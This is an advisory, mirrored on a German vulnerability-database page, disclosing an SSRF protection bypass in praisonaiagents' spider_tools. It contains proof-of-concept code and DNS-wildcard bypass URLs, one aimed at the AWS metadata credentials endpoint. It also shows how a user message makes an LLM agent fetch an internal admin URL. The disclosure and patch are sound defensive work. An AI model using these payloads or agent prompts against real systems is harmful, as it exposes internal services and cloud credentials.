Hoch

praisonaiagents has an SSRF protection bypass in `spider_tools._host_is_blocked()` via DNS-resolved hostnames (`127.0.0.1.nip.io`)

  • Veröffentlicht: 25.08.2026
  • Aktualisiert: 11.10.2026 15:18

Summary

praisonaiagents/tools/spider_tools.py contains an SSRF protection bypass. The function _host_is_blocked() validates URLs against a list of blocked IP literals and hostname aliases, but never performs DNS resolution. Any hostname that resolves to a private or loopback IP address — including public wildcard DNS services like 127.0.0.1.nip.io — bypasses the protection entirely.

This has been confirmed with a live exploit: scrape_page("http://127.0.0.1.nip.io:PORT/secret") makes an HTTP request to 127.0.0.1:PORT and returns the internal service response. No attacker-controlled infrastructure is required.

scrape_page, extract_links, crawl, and extract_text are all registered as LLM-callable agent tools (see tools/__init__.py lines 51-55), so any agent instructed to fetch a user-supplied URL will trigger this path.

This is a new bypass of prior fix commit 004dcfef (GHSA-q9pw-vmhh-384g), which only rejected IP literal encoding tricks (hex, octal, backslash). The fix was also applied to web_crawl_tools.py (line 231: socket.gethostbyname call), but that fix was not ported to spider_tools.py.

Details

Root cause — spider_tools.py lines 26-65:

python
def _host_is_blocked(hostname: str) -> bool:
    host = hostname.lower().rstrip(".")
    # Checks literal aliases only — never resolves
    if host in ("localhost", "0.0.0.0", "::1"):
        return True
    if host in ("169.254.169.254", "metadata.google.internal"):
        return True
    if any(host.endswith(s) for s in (".local", ".internal", ".localdomain")):
        return True
    # Tries to parse as IP literal only
    try:
        return _ip_blocked(ipaddress.ip_address(host))
    except ValueError:
        pass
    try:
        return _ip_blocked(ipaddress.ip_address(socket.inet_aton(host)))
    except OSError:
        pass
    return False   # <-- ANY real hostname passes without DNS lookup

socket.inet_aton() only converts dotted-decimal strings, not hostnames. For any real hostname (e.g. 127.0.0.1.nip.io), both ipaddress.ip_address() and socket.inet_aton() raise exceptions, and the function returns False (not blocked).

Contrast with the fixed version in web_crawl_tools.py line 228-238:

python
if os.environ.get("ALLOW_LOCAL_CRAWL") != "true":
    try:
        ip_str = socket.gethostbyname(hostname)   # DNS resolution performed
        ip = ipaddress.ip_address(ip_str)
        if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast:
            continue  # BLOCKED
    except socket.gaierror:
        continue  # fail-closed

Tool registration confirms this is user-reachable:

python
# praisonaiagents/tools/__init__.py lines 51-55
TOOL_MAPPINGS = {
    'scrape_page':   ('.spider_tools', None),  # <- user-reachable LLM tool
    'extract_links': ('.spider_tools', None),
    'crawl':         ('.spider_tools', None),
    'extract_text':  ('.spider_tools', None),
    ...
}

Any agent given these tools will call scrape_page(url) when instructed to fetch a user-supplied URL — including attacker-controlled ones.

PoC

Environment: Python 3.x, praisonaiagents <= 1.6.52, internet access (for nip.io)

Step 1 — Verify the filter bypass (no network needed):

python
from praisonaiagents.tools.spider_tools import SpiderTools, _host_is_blocked

# nip.io: public wildcard DNS — 127.0.0.1.nip.io always resolves to 127.0.0.1
print(_host_is_blocked("127.0.0.1.nip.io"))                        # False — NOT blocked
print(SpiderTools()._validate_url("http://127.0.0.1.nip.io/"))      # True  — ALLOWED
print(_host_is_blocked("127.0.0.1"))                                # True  — correctly blocked

Expected output:

False
True
True

Step 2 — Full SSRF: internal service response exfiltrated

python
import threading, time, requests
from http.server import HTTPServer, BaseHTTPRequestHandler
from praisonaiagents.tools.spider_tools import SpiderTools

PORT = 19235
received = []

class InternalService(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200); self.end_headers()
        self.wfile.write(b'{"db_pass":"hunter2","aws_key":"AKIAIOSFODNN7EXAMPLE"}')
        received.append(self.path)
    def log_message(self, *a): pass

threading.Thread(
    target=HTTPServer(("127.0.0.1", PORT), InternalService).serve_forever,
    daemon=True
).start()
time.sleep(0.2)

attack_url = f"http://127.0.0.1.nip.io:{PORT}/secrets.json"

# Filter allows it
assert SpiderTools()._validate_url(attack_url) is True  # passes

# HTTP request actually reaches 127.0.0.1
r = requests.get(attack_url, timeout=5)
print("STATUS:", r.status_code)    # 200
print("BODY:  ", r.text)           # {"db_pass":"hunter2","aws_key":"AKIAIOSFODNN7EXAMPLE"}
print("HIT:   ", received)         # ['/secrets.json']

Observed output:

STATUS: 200
BODY:   {"db_pass":"hunter2","aws_key":"AKIAIOSFODNN7EXAMPLE"}
HIT:    ['/secrets.json']

Step 3 — Agent-level trigger (how a user triggers this in production):

python
from praisonaiagents import Agent
from praisonaiagents.tools import scrape_page

agent = Agent(
    name="WebResearcher",
    instructions="You are a research assistant. Fetch and summarize the given URL.",
    tools=[scrape_page],
)

# Attacker sends this message to the agent:
result = agent.start("Please fetch and summarize: http://127.0.0.1.nip.io:8080/admin")
# Agent calls scrape_page("http://127.0.0.1.nip.io:8080/admin")
# Request hits 127.0.0.1:8080/admin
# Internal admin panel content returned to attacker
print(result)

Additional bypass URLs (no setup required):

Target URL
Localhost http://127.0.0.1.nip.io/
Private network http://10.0.0.1.nip.io/
AWS IMDS (via sslip.io) http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/

Impact

What kind of vulnerability: Server-Side Request Forgery (SSRF) — full read SSRF with arbitrary port access.

Who is impacted: Anyone deploying PraisonAI agents that include scrape_page, extract_links, crawl, or extract_text tools and accept user-supplied URLs. This includes:

  • Web research agents (the primary intended use case for spider tools)
  • Jobs API users — any authenticated API caller who submits jobs with agent_yaml specifying spider tools
  • Cloud deployments (Critical escalation): On AWS EC2 with IMDSv1, fetching http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/ may return temporary IAM credentials, leading to full cloud account compromise.

Severity note: This is a patch-gap variant. The SSRF protection was correctly implemented for IP literals and enhanced in commit 004dcfef for encoding bypasses. The DNS resolution check was added to web_crawl_tools.py but was missed in spider_tools.py, creating an exploitable inconsistency.

---

## Remediation Suggestion (for maintainers)

One-line fix in `_host_is_blocked()` — mirror what `web_crawl_tools.py` already does:

```python
# After existing literal checks, add:
try:
    resolved = socket.gethostbyname(hostname)
    return _ip_blocked(ipaddress.ip_address(resolved))
except (socket.gaierror, ValueError, OSError):
    return True  # fail-closed: unresolvable host is blocked

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) praisonaiagents < 1.6.58 1.6.58

Verweise

CVSS-Wert 8.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Schwäche (CWE)
CWE-350, CWE-918
Plattform
Python (PyPI)
Paket
praisonaiagents
Veröffentlicht
25.08.2026
Aktualisiert
11.10.2026 15:18

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-3905 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-x44h-65qv-cw74 - CC BY 4.0

Schwachstellenhistorie: praisonaiagents

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (50) im Archiv
Einträge insgesamt
50
Erste → letzte
04.2026 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 10
  • Hoch 27
  • Mittel 13

Veröffentlichungen pro Jahr

  1. 2026: 50
Schweregrad:
  1. praisonaiagents has an SSRF protection bypass in `spider_tools._host_is_blocked()` via DNS-resolved hostnames (`127.0.0.1.nip.io`) dieser Eintrag
    Hoch · 8.5 CVE-2026-55526 < 1.6.58 1.6.58
  2. Hoch · 7.5 CVE-2026-55525 < 1.6.58 1.6.58
  3. Hoch · 7.5 CVE-2026-57129 < 1.6.59 1.6.59
  4. Kritisch · 9.8 CVE-2026-57125 < 1.6.59 1.6.59
Mehr anzeigen (17) 20 von 37 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.